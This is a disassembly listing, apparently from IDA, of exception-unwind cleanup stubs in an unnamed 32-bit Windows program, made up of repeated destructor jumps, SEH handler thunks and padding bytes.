endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A2C8: ; DATA XREF: ___:0044074Co lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40ED00 proc near ; DATA XREF: sub_40ED00+2o mov eax, offset dword_440720 jmp sub_437AB8 SEH_40ED00 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40EE40 proc near ; DATA XREF: sub_40EE40+2o mov eax, offset dword_440760 jmp sub_437AB8 SEH_40EE40 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A318: ; DATA XREF: ___:004407BCo lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A348: ; DATA XREF: ___:0040F218o mov eax, offset dword_440790 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] jmp sub_40204F ; --------------------------------------------------------------------------- loc_43A378: ; DATA XREF: ___:0044081Co mov ecx, [ebp-28h] add ecx, 28h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 3Dh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 56h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 84h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 0B2h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 0E0h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 10Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 13Ch jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 16Ah jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 198h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 1C6h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 1F4h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 222h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 250h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 27Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 2ACh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 2DAh jmp sub_401B68 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40F6D0 proc near ; DATA XREF: sub_40F6D0+2o mov eax, offset dword_4407F0 jmp sub_437AB8 SEH_40F6D0 endp ; --------------------------------------------------------------------------- db 69h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_40204F ; --------------------------------------------------------------------------- loc_43A568: ; DATA XREF: ___:0044097Co mov ecx, [ebp-10h] add ecx, 28h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Dh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 56h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 84h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B2h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E0h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 10Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 13Ch jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 16Ah jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 198h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1C6h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1F4h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 222h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 250h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 27Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2ACh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40FE70 proc near ; DATA XREF: sub_40FE70+2o mov eax, offset dword_440950 jmp sub_437AB8 SEH_40FE70 endp ; --------------------------------------------------------------------------- db 47h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-247Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A69B: ; DATA XREF: ___:00440A34o lea ecx, [ebp-210Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-207Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6B1: ; DATA XREF: ___:00440A44o lea ecx, [ebp-237Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6BC: ; DATA XREF: ___:00440A4Co lea ecx, [ebp-21CCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6C7: ; DATA XREF: ___:00440A54o lea ecx, [ebp-234Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6D2: ; DATA XREF: ___:00440A5Co lea ecx, [ebp-2064h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6DD: ; DATA XREF: ___:00440A64o lea ecx, [ebp-231Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6E8: ; DATA XREF: ___:00440A6Co lea ecx, [ebp-219Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A6F3: ; DATA XREF: ___:00440A74o lea ecx, [ebp-20DCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-22ECh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A709: ; DATA XREF: ___:00440A84o lea ecx, [ebp-22BCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A714: ; DATA XREF: ___:00440A8Co lea ecx, [ebp-23DCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A71F: ; DATA XREF: ___:00440A94o lea ecx, [ebp-216Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A72A: ; DATA XREF: ___:00440A9Co lea ecx, [ebp-2424h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-2480h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- mov eax, [ebp-2480h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-23F4h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-2480h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- mov eax, [ebp-2480h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-228Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-23C4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-225Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A799: ; DATA XREF: ___:00440AE4o lea ecx, [ebp-213Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A7A4: ; DATA XREF: ___:00440AECo mov eax, [ebp-2480h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- loc_43A7B2: ; DATA XREF: ___:00440AF4o mov eax, [ebp-2480h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- loc_43A7C0: ; DATA XREF: ___:00440AFCo lea ecx, [ebp-21FCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-20ACh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-222Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A7E1: ; DATA XREF: ___:00440B14o lea ecx, [ebp-2394h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-23ACh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A7F7: ; DATA XREF: ___:00440B24o lea ecx, [ebp-2334h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2364h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A80D: ; DATA XREF: ___:00440B34o lea ecx, [ebp-2304h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A818: ; DATA XREF: ___:00440B3Co lea ecx, [ebp-22D4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A823: ; DATA XREF: ___:00440B44o mov ecx, [ebp-2480h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A82E: ; DATA XREF: ___:00440B4Co lea ecx, [ebp-22A4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A839: ; DATA XREF: ___:00440B54o lea ecx, [ebp-2244h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2274h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A84F: ; DATA XREF: ___:00440B6Co lea ecx, [ebp-2214h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A85A: ; DATA XREF: ___:00440B7Co lea ecx, [ebp-21E4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A865: ; DATA XREF: ___:00440B84o lea ecx, [ebp-2184h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-21B4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A87B: ; DATA XREF: ___:00440B9Co lea ecx, [ebp-243Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-240Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A891: ; DATA XREF: ___:00440BB4o lea ecx, [ebp-2124h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2154h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A8A7: ; DATA XREF: ___:00440BC4o lea ecx, [ebp-20F4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A8B2: ; DATA XREF: ___:00440BCCo lea ecx, [ebp-2094h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-2464h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-20C4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A8D3: ; DATA XREF: sub_410030+8o mov eax, offset dword_440A08 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 93h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_40204F ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411930 proc near ; DATA XREF: sub_411930+2o mov eax, offset dword_440C18 jmp sub_437AB8 SEH_411930 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40204F ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4119E0 proc near ; DATA XREF: sub_4119E0+2o mov eax, offset dword_440C48 jmp sub_437AB8 SEH_4119E0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A9B8: ; DATA XREF: ___:00440CA4o mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 54h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 69h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411A60 proc near ; DATA XREF: sub_411A60+2o mov eax, offset dword_440C78 jmp sub_437AB8 SEH_411A60 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AA18: ; DATA XREF: ___:00440CFCo mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 54h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 69h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411B20 proc near ; DATA XREF: sub_411B20+2o mov eax, offset dword_440CD0 jmp sub_437AB8 SEH_411B20 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411C10 proc near ; DATA XREF: sub_411C10+8o mov eax, offset dword_440D28 jmp sub_437AB8 SEH_411C10 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AAE8: ; DATA XREF: ___:00440DD4o lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4120B0 proc near ; DATA XREF: sub_4120B0+8o mov eax, offset dword_440DA8 jmp sub_437AB8 SEH_4120B0 endp ; --------------------------------------------------------------------------- db 2Dh dup(0CCh) ; --------------------------------------------------------------------------- loc_43AB90: ; DATA XREF: ___:00440E74o lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-48h] and eax, 1 test eax, eax jz locret_43ABAE mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_43ABAE: ; CODE XREF: ___:0043ABA0j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_412780 proc near ; DATA XREF: sub_412780+2o mov eax, offset dword_440E48 jmp sub_437AB8 SEH_412780 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43ABD8: ; DATA XREF: ___:00440EACo lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_412A40 proc near ; DATA XREF: sub_412A40+8o mov eax, offset dword_440E80 jmp sub_437AB8 SEH_412A40 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_412CE0 proc near ; DATA XREF: sub_412CE0+2o mov eax, offset dword_440EB8 jmp sub_437AB8 SEH_412CE0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AC18: ; DATA XREF: ___:00440F14o lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-9Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AC4E: ; DATA XREF: ___:00412D88o mov eax, offset dword_440EE8 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43AC7B: ; DATA XREF: ___:00440F74o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_4011B8 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Ch jmp sub_4014BF ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4131F0 proc near ; DATA XREF: sub_4131F0+2o mov eax, offset dword_440F48 jmp sub_437AB8 SEH_4131F0 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_4011B8 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Ch jmp sub_4014BF ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4132F0 proc near ; DATA XREF: sub_4132F0+2o mov eax, offset dword_440F90 jmp sub_437AB8 SEH_4132F0 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4133B0 proc near ; DATA XREF: sub_4133B0+2o mov eax, offset dword_440FD8 jmp sub_437AB8 SEH_4133B0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4134A0 proc near ; DATA XREF: sub_4134A0+2o mov eax, offset dword_441010 jmp sub_437AB8 SEH_4134A0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4135E0 proc near ; DATA XREF: sub_4135E0+2o mov eax, offset dword_441040 jmp sub_437AB8 SEH_4135E0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+1Ch] jmp sub_401582 ; --------------------------------------------------------------------------- loc_43AD78: ; DATA XREF: ___:0044109Co lea ecx, [ebp+4] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_413740 proc near ; DATA XREF: sub_413740+2o mov eax, offset dword_441070 jmp sub_437AB8 SEH_413740 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AD98: ; DATA XREF: ___:004410D4o lea ecx, [ebp-0A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-8Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4138B0 proc near ; DATA XREF: sub_4138B0+2o mov eax, offset dword_4410A8 jmp sub_437AB8 SEH_4138B0 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp+1Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43ADD8: ; DATA XREF: ___:00441114o lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_401582 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_413A80 proc near ; DATA XREF: sub_413A80+2o mov eax, offset dword_4410E8 jmp sub_437AB8 SEH_413A80 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AE08: ; DATA XREF: ___:00413BB2o mov eax, offset dword_441128 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AE28: ; DATA XREF: ___:00441184o lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AE30: ; DATA XREF: ___:0044118Co mov eax, [ebp-40h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- loc_43AE3B: ; DATA XREF: ___:00441194o lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_413C40 proc near ; DATA XREF: sub_413C40+2o mov eax, offset dword_441158 jmp sub_437AB8 SEH_413C40 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp+64h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AE68: ; DATA XREF: ___:004411CCo lea ecx, [ebp+4Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp+34h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp+1Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-10h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_413E70 proc near ; DATA XREF: sub_413E70+2o mov eax, offset dword_4411A0 jmp sub_437AB8 SEH_413E70 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AEBB: ; DATA XREF: ___:00441224o mov ecx, [ebp-10h] add ecx, 19h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Eh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_414160 proc near ; DATA XREF: sub_414160+2o mov eax, offset dword_4411F8 jmp sub_437AB8 SEH_414160 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AEF8: ; DATA XREF: ___:00441264o mov ecx, [ebp+14h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp+10h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp+0Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AF10: ; DATA XREF: ___:004141F2o mov eax, offset dword_441238 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp+4Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AF38: ; DATA XREF: ___:004412ACo lea ecx, [ebp+34h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp+1Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-10h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_414300 proc near ; DATA XREF: sub_414300+2o mov eax, offset dword_441280 jmp sub_437AB8 SEH_414300 endp ; --------------------------------------------------------------------------- db 1Bh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AF88: ; DATA XREF: ___:004412FCo mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_414430 proc near ; DATA XREF: sub_414430+2o mov eax, offset dword_4412D0 jmp sub_437AB8 SEH_414430 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AFC8: ; DATA XREF: ___:00441344o mov ecx, [ebp+10h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp+0Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43AFD8: ; DATA XREF: ___:004144D2o mov eax, offset dword_441318 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4145A0 proc near ; DATA XREF: sub_4145A0+2o mov eax, offset dword_441358 jmp sub_437AB8 SEH_4145A0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B018: ; DATA XREF: ___:004413B4o lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B020: ; DATA XREF: ___:00414762o mov eax, offset dword_441388 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+1Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B038: ; DATA XREF: ___:004413ECo lea ecx, [ebp+4] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4148A0 proc near ; DATA XREF: sub_4148A0+2o mov eax, offset dword_4413C0 jmp sub_437AB8 SEH_4148A0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B05B: ; DATA XREF: ___:00441424o mov ecx, [ebp-10h] add ecx, 19h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Eh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_414AA0 proc near ; DATA XREF: sub_414AA0+2o mov eax, offset dword_4413F8 jmp sub_437AB8 SEH_414AA0 endp ; 